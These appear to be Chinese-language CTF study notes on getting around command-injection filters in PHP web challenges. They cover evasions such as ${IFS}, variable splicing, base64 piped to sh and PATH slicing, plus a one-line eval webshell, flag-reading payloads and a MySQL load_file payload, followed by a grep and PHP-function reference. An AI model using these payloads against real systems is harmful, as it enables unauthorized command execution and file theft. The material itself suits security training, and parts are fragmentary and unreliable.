命令执行
命令执行的基本绕过
1._ 空格过滤_
1.> < <> 重定向符
2.%09(需要php环境)
3.${IFS}
4.$IFS$9
5.$IFS\
6.{cat,flag.php} //用逗号实现了空格功能
7.%20
8.%09
注:在eval使用带有$的字符串时,需要进行用\转义,因为$在php中有特殊含义
2.敏感字符过滤
利用变量拼接
$a=l;$b=s;$a$b
拼接起来就是:ls(用来展示文件目录的)
利用base64编码绕过
echo Y2F0IGZsYWcucGhw|base64 -d|sh Y2F0IGZsYWcucGhw|base64是cat flag.php的base64的编码
利用单引号,双引号,反斜线,1 , 1,1,@等来绕过
1.ca""t fla""g
2.ca\t fl\ag
3.c$1at gh$@twf01.txt
4.ca''t fl''ag
内敛绕过,反引号可以命令执行
cat `ls`:就是将所有的文件全部执行
利用Linux的环境变量
1. echo ${PATH} ///usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
2. echo ${PATH:1:9}//usr/local
3. ${PATH:5:1} //l
4. ${PATH:2:1} //s
5. ${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令
6. ${PATH:5:1}s //拼接后是ls,执行命令
利用的就是对字符串的拼接与截断
利用通配符绕过
* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符
3.cat过滤(查看网页源码)
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
cp:
mv(英文全拼:move file)命令用来为文件或目录改名、或将文件或目录移入其它位置
bin目录*
bin为binary的简写,主要放置一些系统的必备执行档(可执行命令)例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。我们日常直接使用的cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls
paste拼接文件并返回文件内容
4.括号绕过
不使用括号的函数
1.echo
2.print
3.die
4.include
5.require
6.include_once
7.require_once
8.isset
9.unset
5.分号绕过
?>
6.php
<?= <?php 段标签
2.文件包含
included和require可以直接读txt文件,但是不能直接读php文件*
3.命令分隔
|(管道符):前面语句的输出作为后面语句的输入
&:不管前面的语句的对否,后面的语句都要执行
;:前面的语句和后面的语句依次执行
||:只有当前面的语句否,后面的语句才会执行
&&:只有当前面的语句真,后面的语句才会执行
4.grep匹配
grep 是用于匹配输入数据中符合条件的字符串的工具,其匹配过程支持正则表达式,因而匹配能力非常强大。grep 可以从文件或者标准输入设备中读取数据,若不指定任何文件名称,或是所给予的文件名为 -
,则 grep 会从标准输入设备读取数据,否则从文件读取数据进行匹配。
grep [option] pattern file [file2…]
1 普通全匹配
grep apple file.txt
#匹配结果如下,会直接列出匹配的行
apple
apple
2 正则表达式匹配
匹配行开头:^
grep ^a file.txt //匹配 a 开头的行,注意是要该行的开头是 a 才会匹配。如果不是 在开头出现,即使中间出现了也不会匹配该行
匹配行结尾:$
grep a$ file.txt //匹配 a 结尾的行,注意是要该行的结尾是 a 才会匹配。
匹配单词开头:\<
grep '\<app' #匹配app开头的单词所在的行,例如apple,注意要有引号
匹配单词结尾:\>
grep 'le\>' #匹配le结尾的单词所在的行,例如apple,注意要有引号
单词锁定匹配:\b
grep '\bgrep\b' #只匹配单词grep,例如不会匹配到grepa
字符匹配
. //grep .a file.txt #匹配任意一个字符 例如 aa,ba等
[] //grep "[abc]c" file.txt #匹配[]里的任意一个字符,例如ac或者bc或者 cc,注意加引号
grep "[a-z]a" file.txt #匹配a-z间的26个字母任意一个字符,例如aa
[^] //grep "[^ab]a" #匹配除ab之外的任意一个字符,例如da
\w //grep "\w" file.txt #匹配文字和数字字符,也就是[A-Za-z0-9]
\W //grep "\W" file.txt #\w的反置形式,匹配一个或多个非单词字符,如点号 句号等
次数限定匹配
* //grep "a*b" file.text # *前面的字符重复0到多次,例如b,ab,aab
\{m\} //grep "x\{m\}" file.text #重复字符x,m次,如:grep '0\{3\}'匹配 包含3个0的行
\{m,\} //grep "x\{m,\}" file.text #重复字符x,至少m次,如:'0\{5,\}'匹配至 少有5个0的行
\{m,n\} //grep "x\{m,n\}" #重复字符x,至少m次,不多于n次,如:'0\ {5,10\}'匹配5--10个0的行
拓展匹配模式
? //grep -E 'go?d' file.txt #?匹配0个或1个在其之前的字符,例如这里匹配 gd,god
+ //grep -E 'go+d' file.txt #?匹配1个或多个在其之前的字符,例如这里匹配 god,good等
() //grep -E 'g(oo)d' file.text #匹配括号里的字符串,一般都是和其他匹配 模式一起使用,例如 grep -E 'g(oo)?d' file.text
| //grep -E 'god|good' file.txt #匹配被|分隔的多个字符串,例如此例匹配 god或者good
注:1.对于标准 grep,如果在扩展元字符前面加\,grep 会自动启用扩展选项-E
2.当我们想要把上面的匹配模式所用到的字符当做普通字符来匹配,需要用到转义字 符"\\",不过如果这些特殊字符是位于"[]"当做的时候,大部分都会自动转义为 普通字符了,除了"-"或者"^"等极少数字符以外。
option 参数
1 影响查找过程
-a //将二进制文档以文本的方式来查找
-d <动作> //当指定要查找的含有目录(例如 grep apple ./*),必须使用这项参数, 否则grep指令将回报信息并停止动作。其中动作支持,skip:跳过目录, recurse:递归读取目录的数据
-E //开启对拓展匹配模式的支持,如上面的例子
-f //指定匹配模式规则文件,其内容含有一个或多个匹配模式规则,格式为每行一 个匹配模式规则。
-F //等同于fgrep命令,也就是fast grep,会把所有的字符都看作普通字符, 也就是说正则表达式中的所有字符表示回其自身的字面意义,不再特殊。
-i //忽略字符大小写的差别
-r/-R //此参数的效果和指定"-d recurse"参数相同。
-w //单词匹配,等同于 "\<word\>"或者"\bword\b"
-y //忽略关键字符的大小写。(跟-i参数相同)
2 影响打印结果
-A <num> //除了显示符合模式的那一列之外,再显示该行之后num行的内容
-B <num> //除了显示符合模式的那一列之外,再显示该行之前num行的内容
-b //在匹配到行的开头标示该行的第一个字符前面总共多少byte数据
-color //以特定颜色高亮显示匹配关键字
-c //仅显示匹配行的总行数
-C <num> //除了匹配的那一行之外,并显示该行之前后各num行的内容,其中C是可以省 略的,可以直接 grep -4 apple file.txt
-h //在显示匹配的那一行之前,不显示该行所属的文件名称(不加这个参数,匹配 多个文件的时候会显示命中文件的名字)
-H //在显示匹配的那一行之前,表示该行所属的文件名称(不加这个参数,匹配单 个文件的时候不会显示命中文件的名字)
-l //只显示命中的文件的名称
-L //只显示没命中的文件的名称
-n //显示命中的行所在的行数
-o //只显示匹配的部分,不显示该行其他的部分
-P //使用perl的正则表达式语法,因为perl的正则更加多元化,能实现更加复杂 的场景。典型用法是匹配指定字符串之间的字符。(-e或-E是匹配扩展正则 表达式,-P是匹配perl正则表达式)
-q //不显示任何信息
-s //不显示错误信息
-v //显示不包含匹配文本的所有行
-V //显示版本信息
-x //只显示整行都符合的列。
5.构造无字母数字的webshell
思路:
- 利用位运算(取反,异或,取或)
- 利用自增运算符
- shell下可以利用 . 来执行任意脚本
Linux文件名支持用glob通配符代替
6.用其它的命令执行函数代替被过滤的函数
system() //有回显
passthru() //用于执行系统命令的,并且会将执行后的结果**进行输出**,主要运用于 unix系统
exec() //函数不会将执行后的结果输出,与system功能一样
shell_exec()//用于执行shell命令并将执行的结果以字符串的形式返回,但是不会将结果进 行输出。
popen() //函数会将执行后的系统命令结果用一个文件指针的形式返回
proc_open() //执行一个命令,并且打开用来输入/输出的文件指针。类似于popen函数
pcntl_exec()
反引号 同shell_exec()
7.用已知参数传入另一个无限制参数,构造木马
c=eval($_GET[1]);&1=system('');
8.$(( ))与整数运算 57
$(()) 0
~$(()) -0
$((~$(()))) -1
9.脚本
10.复制重命名绕过(通过复制或者重命名读取php文件内容,然后访问文件得到flag)
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
11.fopen*
fread():读取文件(可安全用于二进制文件),返回文件的字符串内容,失败时返回false
fread(fopen($filename,"r"), $size);
fgets():从文件指针中读取一行
print_r(fgets(fopen($filename, "r"))); // 读取一行
fgetc():从文件指针中读取字符
fgetss():print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一 行并过滤掉 HTML 标记
fgetcsv():从文件指针中读入一行并解析 CSV 字段
print_r(fgetcsv(fopen($filename,"r"), $size));
fpassthru():输出文件指针处的所有剩余数据。该函数将给定的文件指针从当前的位置读 取到 EOF,并把结果写到输出缓冲区。
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
fscanf() — 从文件中格式化输入
print_r(fscanf(fopen("flag", "r"),"%s"))
fopen打开文件指针,popen打开文件指针
print_r(fread(popen("cat flag", "r"), $size));
构造形式c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
12.路径读取
c=print_r(scandir(dirname('__FILE__')));
file_get_contents(),以字符串的形式从文件中读取内容,
file_put_contents(),从文件中写入内容,可以传马进去,文件上传就是用的这个 函数
readfile("flag.php");输出文件内容
var_dump(file(" "));
file协议:把整个文件读入一个数组中
file(string $filename, int $flags = 0, resource $context = ?): array filename文件的路径。返回数组形式的文件内容。数组的每个元素对应于 文件中的一行(结尾会附加换行符)。 失败时,file() 返回 false
php_strip_whitespace()将注释空白过滤后再返回文件内容
c=print_r(get_defined_vars());输出注册变量
c=var_dump(scandir("/"));扫描根目录
global协议
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
DirectoryIterator('glob:///*')
13.文件高亮
highlight_file("flag.php");
show_source("flag.php");
14.exit()
15.mysql load_file读取文件
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
select load_file()根据文件路径读取文件,然后url编码。
16.命令接口 77
17.双写绕过 执行第二个命令写到黑洞
php中的文件操作函数
1. FILE_:文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件
名。自 PHP 4.0.2 起,__FILE__ 总是包含一个绝对路径(如果是符号连接,则是解析
后的绝对路径),而在此之前的版本有时会包含一个相对路径。
2. dirname():返回路径中的目录部分
dirname(string $path, int $levels = 1): string
path表示文件路径;levels表示要向上的父目录数量,整型,必须大于 0。
返回值:返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。
basename() - 返回路径中的文件名部分
pathinfo() - 返回文件路径的信息
realpath() - 返回规范化的绝对路径名
3.scandir():函数返回指定目录中的文件和目录的数组。
scandir(directory,sorting_order,context);
第一个参数是指定的目录,第二个参数是指定升序还是降序,默认是升序,1表示降序
第三个参数,可选,表示规定目录句柄的环境。
返回值:文件和目录的数组。
4.array_reverse():返回单元顺序相反的数组
array_reverse(array $array, bool $preserve_keys = false)
array:输入的数组。
preserve_keys:如果设置为 true 会保留数字的键。 非数字的键则不受这个设置的影响,总是会被保留。
5.next():将数组中的内部指针向前移动一位,也就是将数组序号向前移动一位。
补充:
current() - 返回数组中的当前值
end() - 将数组的内部指针指向最后一个单元
prev() - 将数组的内部指针倒回一位
reset() - 将数组的内部指针指向第一个单元
each() - 返回数组中当前的键/值对并将数组指针向前移动一步
6.highlight_file()和show_source():都是可以将文件的内容展示出来。
7.print_r():可以查看内容
8.pos():返回数组中当前元素的值,在每个数组的内部都有一个内部指针指着数组的当前元素,初始的时候是指向数组的第一个元素
##拓展
9.current():返回数组中当前元素的值
10.next():将内部指针指向数组中的下一个元素,并输出。
11.prev():将内部指针指向数组中的上一个元素,并输出。
12.end():将内部指针指向数组中的最后一个元素,并输出。
13.reset():将内部指针指向数组中的第一个元素,并输出。
14.ench():返回当前元素的键名和键值,并将内部指针向前移动,但是在PHP 7.2.0被废除了。
15.localeconv() 函数返回一个包含本地数字及货币格式信息的数组。
ession是什么,作用是什么?
当用户访问到一个服务器,如果服务器启用Session,服务器就要为该用户创建一个SESSION,在创建这个SESSION的时候,服务器首先检查这个用户发来的请求里是否包含
了一个SESSION ID,如果包含了一个SESSION ID则说明之前该用户已经登陆过并为此用
户创建过SESSION,那服务器就按照这个SESSION ID把这个SESSION在服务器的内存中
查找出来(如果查找不到,就有可能为他新创建一个),如果客户端请求里不包含有SESSION
ID,则为该客户端创建一个SESSION并生成一个与此SESSION相关的SESSION ID。这个
SESSION ID是唯一的、不重复的、不容易找到规律的字符串,这个SESSION ID将被在本
次响应中返回到客户端保存,而保存这个SESSION ID的正是COOKIE,这样在交互过程中
浏览器可以自动的按照规则把这个标识发送给服务器
会话又是什么?
会话就是session,主要为了暂时存储用户的信息,提高浏览器跟服务器交互的效率,避免重复。
strings命令 在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。 strings命令对识别随机对象文件很有用。
列出ls中所有的ASCII文本:
strings /bin/ls
列出ls中所有的ASCII文本:
cat /bin/ls strings
查找ls中包含libc的字符串,不区分大小写:
strings /bin/ls | grep -i libc